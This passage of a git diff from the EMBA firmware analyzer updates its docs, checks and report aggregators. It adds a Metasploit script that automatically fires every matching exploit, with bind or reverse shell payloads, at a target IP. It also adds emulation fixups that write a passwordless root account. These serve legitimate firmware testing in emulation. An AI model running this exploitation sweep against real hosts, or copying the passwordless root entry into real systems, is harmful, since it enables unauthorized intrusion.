diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 7c23fd697..cfab5eb09 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -15,7 +15,7 @@ Steps to reproduce the behavior: 1. EMBA installation (dev-mode/default mode) 2. Use the firmware available here: 3. Start EMBA with the following parameters: sudo ./emba.sh -4. +4. additional steps 5. See error **Expected behavior** @@ -25,7 +25,9 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **Desktop (please complete the following information):** - - OS: [e.g. Kali Linux 2022.01] +- OS: e.g. Kali Linux 2022.03 +- EMBA version: v1.1.2 or current master branch +- Installation method: default with up to date docker image **Additional context** Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md index bbcbbe7d6..4867c8997 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -8,7 +8,7 @@ assignees: '' --- **Is your feature request related to a problem? Please describe.** -A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] +A clear and concise description of what the problem is. Ex. I'm always frustrated when ... **Describe the solution you'd like** A clear and concise description of what you want to happen. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 42a6ed438..73c16305b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -6,34 +6,37 @@ It also sketches the typical integration process of patches. ## 1) Contribution Checklist -- use git to manage your changes [*recommended*] +- use git to manage your changes \[*recommended*] - add the required copyright header to each new file introduced, see - [licensing information](./LICENSE) [**required**] + [licensing information](./LICENSE) \[**required**] -- structure patches logically, in small steps [**required**] - - one separable functionality/fix/refactoring = one patch - - do not mix those three into a single patch (e.g., first refactor, then add a new functionality that builds onto the refactoring) - - after each patch, *EMBA* has to work. Do not add - even temporary breakages inside a patch series (helps when tracking down bugs) - - use `git rebase -i` to restructure a patch series +- structure patches logically, in small steps \[**required**] + - one separable functionality/fix/refactoring = one patch + - do not mix those three into a single patch (e.g., first refactor, then add a new functionality that builds onto the refactoring) + - after each patch, *EMBA* has to work. Do not add + even temporary breakages inside a patch series (helps when tracking down bugs) + - use `git rebase -i` to restructure a patch series - base patches on top of latest master or - if there are dependencies - on next (note: next is an integration branch that may change non-linearly) -- add signed-off to all patches [**required**] - - to certify the "Developer's Certificate of Origin", see below - - check with your employer when not working on your own! +- add signed-off to all patches \[**required**] + - to certify the "Developer's Certificate of Origin", see below + - check with your employer when not working on your own! -- test your code with shellcheck [**required**] - - see the included [shellchecker script](./check_project.sh) +- test your code with shellcheck \[**required**] + - see the included [codechecker script](./check_project.sh) + - shellcheck should not be disabled on areas with issues -> solve these problems before the PR -- test your code in strict mode (EMBA parameter -S) [**required**] - - all code should be strict mode compatible +- test your code in strict mode (EMBA parameter -S) \[**required**] + - all code should be strict mode compatible - send reminder if nothing happens after about a week -- the code needs to work on the latest Kali Linux (other distributions are welcome but currently not tested) +- feel free to mention [EMBA team members](https://github.com/orgs/e-m-b-a/people) in the issue/PR. + +- the code needs to work on the latest Kali Linux and Ubuntu 22.04LTS (other distributions are welcome but currently not tested) ## 2) Code Guidelines @@ -48,7 +51,7 @@ It also sketches the typical integration process of patches. - Variables: Variables should be capitalized, with underscore as word separator (e.g. `PROCESS_EXISTS=1`) -- If you use external code, add `# Test source: [LINK TO CODE]` above +- If you use external code, add `# Test source: \[LINK TO CODE]` above - Scope of variables: Use local variables if possible @@ -56,14 +59,14 @@ It also sketches the typical integration process of patches. - e.g., local VARIABLE="" - Use parameters to functions - - work with local variables inside the functions - - do not rely on globals if not needed + - work with local variables inside the functions + - do not rely on globals if not needed - Use `export` for variables which aren't only used in one file - it isn't necessary, but helps for readability - Don't use backticks anymore, use $(..) instead -- Use double square [[]] brackets (conditional expressions) instead of single square [] brackets +- Use double square \[[]] brackets (conditional expressions) instead of single square [] brackets - Whenever possible try to avoid `tr` `sed` `awk` and use bash internal functions instead, see e.g. [bash shell parameter substitution](http://www.cyberciti.biz/tips/bash-shell-parameter-substitution-2.html). Using bash internals is faster as it does not fork, fopen and pipes the results back. diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 8261653db..bfcc20e65 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -4,17 +4,21 @@ The EMBA project is very thankful to the individuals who contributed to the project. - Want to contribute as well? Here are some suggestions: - - - Create new module for a test currently not supported by EMBA - - Report or fix (unexpected) errors - - Share missing results and findings - - Share firmware where EMBA is not performing as expected - - Improve code quality - - Improve performance - - Check the current [issues](https://github.com/e-m-b-a/emba/issues) if some issue needs help - - See [CONTRIBUTING.md](https://github.com/e-m-b-a/emba/blob/master/CONTRIBUTING.md) for more details. +Want to contribute as well? Here are some suggestions: + +- Create new module for a test currently not supported by EMBA +- Report or fix (unexpected) errors +- Share missing results and findings +- Share firmware where EMBA is not performing as expected +- Improve code quality +- Improve performance +- Improve textblocks for [report templates](https://github.com/e-m-b-a/emba/tree/master/config/report_templates) +- Improve license and version detection [configuration](https://github.com/e-m-b-a/emba/blob/master/config/bin_version_strings.cfg) +- Review the [wiki](https://github.com/e-m-b-a/emba/wiki) for outdated information and open dedicated issues +- Check the current [issues](https://github.com/e-m-b-a/emba/issues) if some issue needs help. +- For interested first-time contributors we created the label [good first issue](https://github.com/e-m-b-a/emba/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) + +See [CONTRIBUTING.md](https://github.com/e-m-b-a/emba/blob/master/CONTRIBUTING.md) for more details. ========================================================================================== @@ -24,8 +28,8 @@ These people have contributed to EMBA: * Michael Messner (original author) * Pascal Eckmann (original author) -* [Arnold Unterauer](https://github.com/Anemosx) * [Benedikt Kuehne](https://github.com/BenediktMKuehne) +* [Arnold Unterauer](https://github.com/Anemosx) * [seanog8](https://github.com/seanog8) * [Stefan Haboeck](https://github.com/StefanHaboeck) * [firmianay](https://github.com/firmianay) diff --git a/README.md b/README.md index b3c8662e9..776194e61 100644 --- a/README.md +++ b/README.md @@ -68,5 +68,8 @@ sudo ./emba.sh -l ./log -f /firmware -p ./scan-profiles/default-scan.emba ## Get involved The IoT is growing, the development is ongoing, and there are many new features that we want to add. -We welcome [pull requests](https://github.com/e-m-b-a/emba/pulls) and [issues](https://github.com/e-m-b-a/emba/issues) on GitHub. +We welcome [pull requests](https://github.com/e-m-b-a/emba/pulls) and [issues](https://github.com/e-m-b-a/emba/issues) on GitHub. Also check the [CONTRIBUTING](./CONTRIBUTING.md) and [CONTRIBUTORS](./CONTRIBUTORS.md) documentation for further information. +## Team + +https://github.com/orgs/e-m-b-a/people diff --git a/check_project.sh b/check_project.sh index 4738c8530..08d3c090b 100755 --- a/check_project.sh +++ b/check_project.sh @@ -44,6 +44,7 @@ SOURCES=() MODULES_TO_CHECK_ARR=() MODULES_TO_CHECK_ARR_TAB=() MODULES_TO_CHECK_ARR_SEMGREP=() +MODULES_TO_CHECK_ARR_DOCKER=() import_config_scripts() { mapfile -t HELPERS < <(find "$CONF_DIR" -iname "*.sh" 2>/dev/null) @@ -101,9 +102,22 @@ import_installer() { done } +dockerchecker() { + echo -e "\\n""$ORANGE""$BOLD""EMBA docker-files check""$NC""\\n""$BOLD""=================================================================""$NC" + mapfile -t DOCKER_COMPS < <(find . -maxdepth 1 -iname "docker-compose*.yml") + for DOCKER_COMP in "${DOCKER_COMPS[@]}"; do + echo -e "\\n""$GREEN""Run docker check on $DOCKER_COMP:""$NC""\\n" + if docker-compose -f "$DOCKER_COMP" config 1>/dev/null || [[ $? -ne 1 ]]; then + echo -e "$GREEN""$BOLD""==> SUCCESS""$NC""\\n" + else + echo -e "\\n""$ORANGE$BOLD==> FIX ERRORS""$NC""\\n" + ((MODULES_TO_CHECK=MODULES_TO_CHECK+1)) + MODULES_TO_CHECK_ARR_DOCKER+=( "$DOCKER_COMP" ) + fi + done +} -check() -{ +check() { echo -e "\\n""$ORANGE""$BOLD""Embedded Linux Analyzer Shellcheck""$NC""\\n""$BOLD""=================================================================""$NC" echo -e "\\n""$GREEN""Run shellcheck on this script:""$NC""\\n" @@ -193,10 +207,19 @@ summary() { done echo -e "$ORANGE""WARNING: Fix the errors before pushing to the EMBA repository!" fi + if [[ "${#MODULES_TO_CHECK_ARR_DOCKER[@]}" -gt 0 ]]; then + echo -e "\\n\\n""$GREEN$BOLD""SUMMARY:$NC\\n" + echo -e "Modules to check (docker-compose): ${#MODULES_TO_CHECK_ARR_DOCKER[@]}\\n" + for MODULE in "${MODULES_TO_CHECK_ARR_DOCKER[@]}"; do + echo -e "$ORANGE$BOLD==> FIX MODULE: ""$MODULE""$NC" + done + echo -e "$ORANGE""WARNING: Fix the errors before pushing to the EMBA repository!" + fi + } # check that all tools are installed -check_tools(){ +check_tools() { TOOLS=("semgrep" "shellcheck") for TOOL in "${TOOLS[@]}";do if ! command -v "$TOOL" > /dev/null ; then @@ -213,5 +236,6 @@ check_tools(){ # main: check_tools check +dockerchecker summary diff --git a/emba.sh b/emba.sh index 5efe86265..2eb5d5a8c 100755 --- a/emba.sh +++ b/emba.sh @@ -617,7 +617,7 @@ main() print_output "[*] Loading EMBA scan profile." "no_log" fi # all profile output and settings are done by the profile file located in ./scan-profiles/ - # shellcheck disable=SC1090 + # shellcheck source=/dev/null source "$PROFILE" print_output "[*] Profile $PROFILE loaded." "no_log" print_bar "no_log" @@ -640,7 +640,7 @@ main() print_output "[!] Found restart file and backup_vars file ... trying to restart EMBA scan" "no_log" export RESTART=1 rm "$TMP_DIR"/restart - # shellcheck disable=SC1091 + # shellcheck source=/dev/null source "$LOG_DIR""/backup_vars.log" fi fi diff --git a/helpers/fixImage_user_mode_emulation.sh b/helpers/fixImage_user_mode_emulation.sh index a1358a767..7486ef7b8 100755 --- a/helpers/fixImage_user_mode_emulation.sh +++ b/helpers/fixImage_user_mode_emulation.sh @@ -59,12 +59,14 @@ SHADOW=$(resolve_link /etc/shadow) if [ ! -s "$PASSWD" ]; then echo "[*] Creating $PASSWD file" "$BUSYBOX" mkdir -p "$(dirname "$PASSWD")" + # nosemgrep echo "root::0:0:root:/root:/bin/sh" > "$PASSWD" else backup_file "$PASSWD" backup_file "$SHADOW" if ! "$BUSYBOX" grep -sq "^root:" "$PASSWD" ; then echo "[*] No root user found, creating root user with shell '/bin/sh'" + # nosemgrep echo "root::0:0:root:/root:/bin/sh" > "$PASSWD" "$BUSYBOX" [ ! -d '/root' ] && "$BUSYBOX" mkdir /root fi diff --git a/helpers/helpers_emba_dependency_check.sh b/helpers/helpers_emba_dependency_check.sh index a9a486cad..fec8cf3a6 100755 --- a/helpers/helpers_emba_dependency_check.sh +++ b/helpers/helpers_emba_dependency_check.sh @@ -496,6 +496,7 @@ dependency_check() check_dep_tool "Nmap portscanner" "nmap" check_dep_tool "hping3" "hping3" check_dep_tool "ping" "ping" + check_dep_tool "Metasploit framework" "msfconsole" # This port is used by our Qemu installation and should not be used by another process. # This check is not a blocker for the test. It is checked again by the emulation module: check_emulation_port "Running Qemu service" "2001" diff --git a/helpers/helpers_emba_path.sh b/helpers/helpers_emba_path.sh index 906848a79..a0bcaafc4 100755 --- a/helpers/helpers_emba_path.sh +++ b/helpers/helpers_emba_path.sh @@ -189,13 +189,13 @@ mod_path_array() { create_log_dir() { if ! [[ -d "$LOG_DIR" ]] ; then - mkdir "$LOG_DIR" 2> /dev/null || true + mkdir "$LOG_DIR" || (print_output "[!] WARNING: Cannot create log directory" "no_log" && exit 1) fi if ! [[ -d "$TMP_DIR" ]] ; then - mkdir "$TMP_DIR" 2> /dev/null || true + mkdir "$TMP_DIR" || (print_output "[!] WARNING: Cannot create log directory" "no_log" && exit 1) fi if ! [[ -d "$CSV_DIR" ]]; then - mkdir "$CSV_DIR" 2> /dev/null || true + mkdir "$CSV_DIR" || (print_output "[!] WARNING: Cannot create log directory" "no_log" && exit 1) fi if [[ $FIRMWARE -eq 1 ]] ; then diff --git a/helpers/l35_msf_check.rc b/helpers/l35_msf_check.rc new file mode 100644 index 000000000..d5e366614 --- /dev/null +++ b/helpers/l35_msf_check.rc @@ -0,0 +1,232 @@ + + +def help_me + help = %Q| + Description: + This Metasploit RC script is part of the firmware analyzer EMBA. + The script runs through all Metasploit modules and triggers the check function. + As the check functionality is not implemented in all modules we also do + a real exploitation attempt. This could corrupt our emulated system. This EMBA + module is typically used at the end of the automated analysis procedure. + You can also setup the emulated device afterwards manually and check the + Metasploit RC script against it with the following arguments. + + Usage: + ./msfconsole -r [rc_path] [ip_address] [list_of_ports] [arch] + ./msfconsole -r ./helpers/msf-check.rc 127.0.0.1 123,1337,101 mipsle + | + + help = help.gsub(/^\t/, '') + print_line(help) +end + +@job_ids = [] + +def wait_until_jobs_done + loop do + @job_ids.each do |job_id| + current_job_ids = framework.jobs.keys.map { |e| e.to_i } + sleep 1 if current_job_ids.include?(job_id) + end + + return + end +end + +def select_payload(exploit,arch) + linux = "linux/#{arch}/shell_bind_tcp" + php = 'php/meterpreter/bind_tcp' + multi = 'java/meterpreter/bind_tcp' + cmd = 'cmd/unix/interact' + # generic = 'generic/shell_bind_tcp' + generic = 'generic/shell_reverse_tcp' + + payloads = [] + exploit.compatible_payloads.each do |p| + payloads << p[0] + end + + if payloads.include?(linux) + return linux + elsif payloads.include?(php) + return php + elsif payloads.include?(multi) + return multi + elsif payloads.include?(cmd) + return cmd + elsif payloads.include?(generic) + return generic + else + # WTF? This exploit supports NONE of our favorite payloads? + # What kinda BS is this? We return a linux payload: + return linux + end +end + +def exploit_checker(host,ports,architecture) + print_status("Checking host #{host} with identified ports #{ports}...") + framework.exploits.each { |name,mod| + mod = framework.modules.create("#{name}") + + if mod.nil? + print_line("Unable to load #{name}") + next + end + + # remove modules that we won't check: + next if (name =~ /local/ or + name =~ /fileformat/ or + name =~ /browser/) + # only test modules from the following categories: + next if not (name =~ /linux/ or + name =~ /multi/ or + name =~ /freebsd/ or + name =~ /unix/ or + name =~ /openbsd/) + # remove modules with issues - we need to check them again and adjust the settings: + next if (name =~ /cve_2020_13160_anydesk/ or + name =~ /goahead_ldpreload/ or + name =~ /phpmailer_arg_injection/ or + name =~ /atutor_filemanager_traversal/) + + ports.split(",").each { |serv| + # we test only matching ports - default RPORT of module matches + # open port we identified in emulation phase + next if (mod.datastore['RPORT'].to_s != serv.to_s) + + mod.datastore['VERBOSE'] = "true" + mod.datastore['RHOSTS'] = host.to_s + mod.datastore['SRVHOST'] = Rex::Socket.source_address("#{host.to_s}") + + if architecture == "mipsbe" + # mipsle is mostly target 1 + mod.datastore['TARGET'] = 1 + end + if architecture == "mipsle" + # mipsle is mostly target 0 + mod.datastore['TARGET'] = 0 + end + + print_status("Checking #{name} against host #{host.to_s}:#{serv} ...") + begin + # Vuln check: + result = mod.check_simple({'RunAsJob': true, 'LocalOutput': self.output}) + + if mod.job_id + print_status("Check #{name} job ID for target #{host.to_s} is: #{mod.job_id}") + @job_ids << mod.job_id + end + + if not result.nil? + print_status("Check code for #{name}: #{result.to_s}") + end + + if (result =~ /Vulnerable/ or result =~ /Appears/) + print_good("Vulnerability identified for module #{name} - #{host.to_s}:#{serv}") + print_good("Check state #{result} for module #{name} - #{host.to_s}:#{serv}") + end + + if (result.to_s =~ /safe/) + print_status("Check code is safe - skipping exploitation attempt for #{name}") + next + end + rescue ::Exception => e + print_error(e.message) + end + + print_status("Exploiting #{name} against host #{host.to_s}:#{serv} ...") + get_payload = select_payload(mod,architecture) + mod.datastore['RHOST'] = host.to_s + + if get_payload.nil? + print_error("No payload selected for this exploit: #{name}") + else + print_status("Payload selected: #{get_payload}") + end + + begin + lport_setting = rand(4000..40_862).to_s + mod.datastore['LPORT'] = lport_setting + if get_payload.to_s =~ /reverse/ + mod.datastore['LHOST'] = Rex::Socket.source_address("#{host.to_s}") + end + mod.datastore['PAYLOAD'] = get_payload.to_s + + # Exploitation: + result = mod.exploit_simple({'RunAsJob': true, 'LocalOutput': self.output}) + + # looks like the job handling does not work as expected - mod.job_id is empty + if mod.job_id + print_status("Exploit #{name} job ID for target #{host.to_s} is: #{mod.job_id}") + @job_ids << mod.job_id + end + if (result.to_s =~ /Sessions/) + print_good("Vulnerability identified for module #{name} - #{host.to_s}:#{serv}") + print_good("Session state #{result} for module #{name} - #{host.to_s}:#{serv}") + end + rescue ::Exception => e + print_error(e.message) + end + } + } + print_status("All exploits sent to #{host} ... lets wait a few seconds") + wait_until_jobs_done +end + + +# +# Initialize our arguments +# +def init_args + args = {} + if ARGV.join('') =~ /^help$/i + args[:help] = true + return args + end + + datastore = framework.datastore + args[:host] = ARGV.shift || '' + args[:ports] = ARGV.shift || '' + args[:architecture] = ARGV.shift || '' + + raise ArgumentError, "Missing a host ip address" if args[:host].empty? + raise ArgumentError, "Missing port list" if args[:ports].empty? + + print_status("Ports: #{args[:ports]}") + print_status("Host: #{args[:host]}") + print_status("ARCH: #{args[:architecture]}") + + return args +end + + +# +# main +# +print_status("Starting Metasploit analysis ...") +begin + args = init_args + if args[:help] + help_me + return + end + + exploit_checker(args[:host],args[:ports],args[:architecture]) + # future extension: + # auxiliary_checker(args[:host],args[:ports],args[:arch]) +rescue ArgumentError => e + print_error("Invalid argument: #{e.message}") + return +end + +# we give the exploit another 30 seconds before we exit Metasploit the hard way +sleep 30 +print_status("The autoexploitation attempt has completed with #{framework.sessions.length} sessions") +unless framework.sessions.empty? + run_single("sessions -v") +end + +run_single("jobs -K") +run_single("exit -y") + + diff --git a/modules/F20_vul_aggregator.sh b/modules/F20_vul_aggregator.sh index a1343bf4c..79608a374 100755 --- a/modules/F20_vul_aggregator.sh +++ b/modules/F20_vul_aggregator.sh @@ -60,6 +60,7 @@ F20_vul_aggregator() { local S116_LOG="$CSV_DIR"/s116_qemu_version_detection.csv local L15_LOG="$CSV_DIR"/l15_emulated_checks_nmap.csv local L25_LOG="$CSV_DIR"/l25_web_checks.csv + local L35_LOG="$CSV_DIR"/l35_metasploit_check.csv local CVE_MINIMAL_LOG="$LOG_PATH_MODULE"/CVE_minimal.txt local EXPLOIT_OVERVIEW_LOG="$LOG_PATH_MODULE"/exploits-overview.txt @@ -91,6 +92,7 @@ F20_vul_aggregator() { get_usermode_emulator "$S116_LOG" get_systemmode_emulator "$L15_LOG" get_systemmode_webchecks "$L25_LOG" + get_msf_verified "$L35_LOG" aggregate_versions @@ -154,7 +156,7 @@ aggregate_versions() { export VERSIONS_AGGREGATED=() VERSIONS_KERNEL=() - if [[ ${#VERSIONS_STAT_CHECK[@]} -gt 0 || ${#VERSIONS_EMULATOR[@]} -gt 0 || ${#KERNEL_CVE_EXPLOITS[@]} -gt 0 || ${#VERSIONS_SYS_EMULATOR[@]} || ${#VERSIONS_S06_FW_DETAILS[@]} -gt 0 || ${#VERSIONS_SYS_EMULATOR_WEB[@]} -gt 0 ]]; then + if [[ ${#VERSIONS_STAT_CHECK[@]} -gt 0 || ${#VERSIONS_EMULATOR[@]} -gt 0 || ${#KERNEL_CVE_EXPLOITS[@]} -gt 0 || ${#VERSIONS_SYS_EMULATOR[@]} || ${#VERSIONS_S06_FW_DETAILS[@]} -gt 0 || ${#VERSIONS_SYS_EMULATOR_WEB[@]} -gt 0 || "${#CVE_S02_DETAILS[@]}" -gt 0 || "${#CVE_L35_DETAILS[@]}" -gt 0 ]]; then print_output "[*] Software inventory initial overview:" write_anchor "softwareinventoryinitialoverview" for VERSION in "${VERSIONS_S06_FW_DETAILS[@]}"; do @@ -217,12 +219,24 @@ aggregate_versions() { print_output "[+] Found CVE details (${ORANGE}binarly UEFI module$GREEN): ""$ORANGE$CVE_ENTRY$NC" done + for CVE_ENTRY in "${CVE_L35_DETAILS[@]}"; do + if [ -z "$CVE_ENTRY" ]; then + continue + fi + if ! [[ "$CVE_ENTRY" == *CVE-[0-9]* ]]; then + print_output "[-] WARNING: Broken CVE identifier found: $ORANGE$VERSION$NC" + continue + fi + print_output "[+] Found CVE details (${ORANGE}verified Metasploit exploits$GREEN): ""$ORANGE$CVE_ENTRY$NC" + done + + print_ln VERSIONS_AGGREGATED=("${VERSIONS_EMULATOR[@]}" "${VERSIONS_KERNEL[@]}" "${VERSIONS_STAT_CHECK[@]}" "${VERSIONS_SYS_EMULATOR[@]}" "${VERSIONS_S06_FW_DETAILS[@]}" "${VERSIONS_S08_PACKAGE_DETAILS[@]}" "${VERSIONS_SYS_EMULATOR_WEB[@]}") # if we get from a module CVE details we also need to handle them - CVES_AGGREGATED=("${CVE_S02_DETAILS[@]}") + CVES_AGGREGATED=("${CVE_S02_DETAILS[@]}" "${CVE_L35_DETAILS[@]}") fi # sorting and unique our versions array: @@ -586,6 +600,15 @@ cve_extractor() { VERSION="unknown" fi + if grep -q "$VERSION_orig" "$L35_LOG" 2>/dev/null; then + if [[ "$VSOURCE" == "unknown" ]]; then + VSOURCE="MSF verified" + else + VSOURCE="$VSOURCE""/MSF verified" + fi + BINARY="unknown" + VERSION="unknown" + fi if grep -q "$BINARY;.*$VERSION" "$S08_LOG" 2>/dev/null; then if [[ "$VSOURCE" == "unknown" ]]; then @@ -999,6 +1022,15 @@ get_systemmode_webchecks() { fi } +get_msf_verified() { + local L35_LOG="${1:-}" + CVE_L35_DETAILS=() + if [[ -f "$L35_LOG" ]]; then + print_output "[*] Collect CVE details of module $(basename "$L35_LOG")." + readarray -t CVE_L35_DETAILS < <(cut -d\; -f3 "$L35_LOG" | grep -v "^CVE$" | grep -v "NA" | sort -u || true) + fi +} + get_uefi_details() { local S02_LOG="${1:-}" CVE_S02_DETAILS=() @@ -1006,8 +1038,8 @@ get_uefi_details() { print_output "[*] Collect CVE details of module $(basename "$S02_LOG")." readarray -t CVE_S02_DETAILS < <(cut -d\; -f3 "$S02_LOG" | grep -v "CVE identifier" | sort -u || true) fi - } + get_firmware_details() { local S06_LOG="${1:-}" VERSIONS_S06_FW_DETAILS=() diff --git a/modules/F50_base_aggregator.sh b/modules/F50_base_aggregator.sh index cf36f909f..88520832e 100755 --- a/modules/F50_base_aggregator.sh +++ b/modules/F50_base_aggregator.sh @@ -53,6 +53,7 @@ F50_base_aggregator() { L20_LOG="l20_snmp_checks.txt" L25_LOG="l25_web_checks.txt" L30_LOG="l30_routersploit.txt" + L35_CSV_LOG="$CSV_DIR""/l35_metasploit_check.csv" SYS_EMU_RESULTS="$LOG_DIR"/emulator_online_results.log if [[ "$RESTART" -eq 1 ]] && [[ -f "$LOG_FILE" ]]; then @@ -233,6 +234,10 @@ output_details() { STATE="$STATE""$ORANGE / ""$GREEN""Routersploit" EMU_STATE="$EMU_STATE"";Routersploit" fi + if [[ "$MSF_VERIFIED" -gt 0 ]]; then + STATE="$STATE""$ORANGE / ""$GREEN""Exploited" + EMU_STATE="$EMU_STATE"";Exploited" + fi STATE="$STATE$ORANGE"")$NC" print_output "[+] System emulation was successful $STATE" "" "l10" @@ -457,7 +462,6 @@ output_binaries() { write_link "s14#strcpysummary" fi DATA=1 - #printf "$GREEN_\tCOUNT : component name : common linux file: y/n | CWE-check | RELRO | CANARY | NX | SYMBOLS | NETWORKING |$NC\n" "$F_COUNTER" "$BINARY" "$CWE_CNT" "$RELRO" "$CANARY" "$NX" "$SYMBOLS" "$NETWORKING" | tee -a "$LOG_FILE" for DETAIL_STRCPY in "${RESULTS_STRCPY[@]}" ; do binary_fct_output "$DETAIL_STRCPY" write_csv_log "strcpy_bin" "$BINARY" "$F_COUNTER" @@ -632,9 +636,9 @@ output_cve_exploits() { print_output "[!] WARNING: CVE-Search was not performed. The vulnerability results should be taken with caution!" print_ln fi - if [[ "${EXPLOIT_COUNTER:-0}" -gt 0 ]]; then + if [[ "${EXPLOIT_COUNTER:-0}" -gt 0 ]] || [[ "$MSF_VERIFIED" -gt 0 ]]; then write_csv_log "exploits" "$EXPLOIT_COUNTER" "NA" - if [[ $MSF_MODULE_CNT -gt 0 ]]; then + if [[ "$MSF_MODULE_CNT" -gt 0 ]]; then print_output "$(indent "$(green "$MAGENTA$BOLD$EXPLOIT_COUNTER$NC$GREEN possible exploits available ($MAGENTA$MSF_MODULE_CNT$GREEN Metasploit modules).")")" write_link "f20#minimalreportofexploitsandcves" write_csv_log "metasploit_modules" "$MSF_MODULE_CNT" "NA" @@ -642,13 +646,18 @@ output_cve_exploits() { print_output "$(indent "$(green "$MAGENTA$BOLD$EXPLOIT_COUNTER$NC$GREEN possible exploits available.")")" write_link "f20#minimalreportofexploitsandcves" fi - if [[ "$REMOTE_EXPLOIT_CNT" -gt 0 || "$LOCAL_EXPLOIT_CNT" -gt 0 || "$DOS_EXPLOIT_CNT" -gt 0 || "$GITHUB_EXPLOIT_CNT" -gt 0 || "$KNOWN_EXPLOITED_COUNTER" -gt 0 ]]; then - print_output "$(indent "$(green "Remote exploits: $MAGENTA$BOLD$REMOTE_EXPLOIT_CNT$NC$GREEN / Local exploits: $MAGENTA$BOLD$LOCAL_EXPLOIT_CNT$NC$GREEN / DoS exploits: $MAGENTA$BOLD$DOS_EXPLOIT_CNT$NC$GREEN / Github PoCs: $MAGENTA$BOLD$GITHUB_EXPLOIT_CNT$NC$GREEN / Known exploited vulnerabilities: $MAGENTA$BOLD$KNOWN_EXPLOITED_COUNTER$NC")")" + if [[ "$MSF_VERIFIED" -gt 0 ]]; then + print_output "$(indent "$(green "$MAGENTA$BOLD$MSF_VERIFIED$NC$GREEN exploits in system mode emulation verified.")")" + write_link "l35" + fi + if [[ "$REMOTE_EXPLOIT_CNT" -gt 0 || "$LOCAL_EXPLOIT_CNT" -gt 0 || "$DOS_EXPLOIT_CNT" -gt 0 || "$GITHUB_EXPLOIT_CNT" -gt 0 || "$KNOWN_EXPLOITED_COUNTER" -gt 0 || "$MSF_VERIFIED" -gt 0 ]]; then + print_output "$(indent "$(green "Remote exploits: $MAGENTA$BOLD$REMOTE_EXPLOIT_CNT$NC$GREEN / Local exploits: $MAGENTA$BOLD$LOCAL_EXPLOIT_CNT$NC$GREEN / DoS exploits: $MAGENTA$BOLD$DOS_EXPLOIT_CNT$NC$GREEN / Github PoCs: $MAGENTA$BOLD$GITHUB_EXPLOIT_CNT$NC$GREEN / Known exploited vulnerabilities: $MAGENTA$BOLD$KNOWN_EXPLOITED_COUNTER$GREE / Verified Exploits: $MAGENTA$BOLD$MSF_VERIFIED$NC")")" write_csv_log "remote_exploits" "$REMOTE_EXPLOIT_CNT" "NA" write_csv_log "local_exploits" "$LOCAL_EXPLOIT_CNT" "NA" write_csv_log "dos_exploits" "$DOS_EXPLOIT_CNT" "NA" write_csv_log "github_exploits" "$GITHUB_EXPLOIT_CNT" "NA" write_csv_log "known_exploited" "$KNOWN_EXPLOITED_COUNTER" "NA" + write_csv_log "verified_exploited" "$MSF_VERIFIED" "NA" fi # we report only software components with exploits to csv: grep "Found version details" "$LOG_DIR/f20_vul_aggregator/F20_summary.txt" 2>/dev/null | sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g" | tr -d "\[\+\]" | grep -v "CVEs: 0" | sed -e 's/Found version details:/version_details:/' |sed -e 's/[[:blank:]]//g' | sed -e 's/:/;/g' >> "$CSV_LOG" || true @@ -717,6 +726,7 @@ get_data() { export CVE_COUNTER=0 export CVE_SEARCH=1 export FWHUNTER_CNT=0 + export MSF_VERIFIED=0 if [[ -f "$LOG_DIR"/"$P02_LOG" ]]; then ENTROPY=$(grep -a "Entropy" "$LOG_DIR"/"$P02_LOG" | cut -d\; -f2 | cut -d= -f2 | sed 's/^\ //' || true) @@ -823,7 +833,7 @@ get_data() { TCP=$(grep -c "TCP ok;" "$SYS_EMU_RESULTS" || true) IP_ADDR=$(grep -E -c "IP\ address:\ [0-9]+" "$SYS_EMU_RESULTS" || true) # we make something like this: "bridge-default-normal" - MODE=$(grep -e "ICMP ok;\|TCP-0 ok;\|TCP ok" "$SYS_EMU_RESULTS" | cut -d\; -f8 | sort -u | sed 's/Network mode: //g' | tr -d '[:blank:]' | tr '\n' '-' | sed 's/-$//g' || true) + MODE=$(grep -e "Booted yes;\|ICMP ok;\|TCP-0 ok;\|TCP ok" "$SYS_EMU_RESULTS" | cut -d\; -f8 | sort -u | sed 's/Network mode: //g' | tr -d '[:blank:]' | tr '\n' '-' | sed 's/-$//g' || true) fi if [[ -f "$LOG_DIR"/"$L15_LOG" ]]; then #NMAP_UP=$(grep -a "\[\*\]\ Statistics:" "$LOG_DIR"/"$L15_LOG" | cut -d: -f2 || true) @@ -831,6 +841,9 @@ get_data() { WEB_UP=$(grep -a "\[\*\]\ Statistics:" "$LOG_DIR"/"$L25_LOG" | cut -d: -f2 || true) ROUTERSPLOIT_VULN=$(grep -a "\[\*\]\ Statistics:" "$LOG_DIR"/"$L30_LOG" | cut -d: -f2 || true) fi + if [[ -f "$L35_CSV_LOG" ]]; then + MSF_VERIFIED=$(grep -v -c "Source" "$L35_CSV_LOG" || true) + fi if [[ -f "$LOG_DIR"/"$CVE_AGGREGATOR_LOG" ]]; then CVE_SEARCH=$(grep -a "\[\*\]\ Statistics:" "$LOG_DIR"/"$CVE_AGGREGATOR_LOG" | sort -u | cut -d: -f2 || true) fi diff --git a/modules/L10_system_emulation/fixImage.sh b/modules/L10_system_emulation/fixImage.sh index 89071895d..ae92da6df 100755 --- a/modules/L10_system_emulation/fixImage.sh +++ b/modules/L10_system_emulation/fixImage.sh @@ -70,6 +70,7 @@ fi if [ ! -s /etc/passwd ]; then mkdir -p "$(dirname "$(resolve_link /etc/passwd)")" + # nosemgrep echo "root::0:0:root:/root:/bin/sh" > "$(resolve_link /etc/passwd)" fi diff --git a/modules/L25_web_checks.sh b/modules/L25_web_checks.sh index aa6533612..cd76375e0 100755 --- 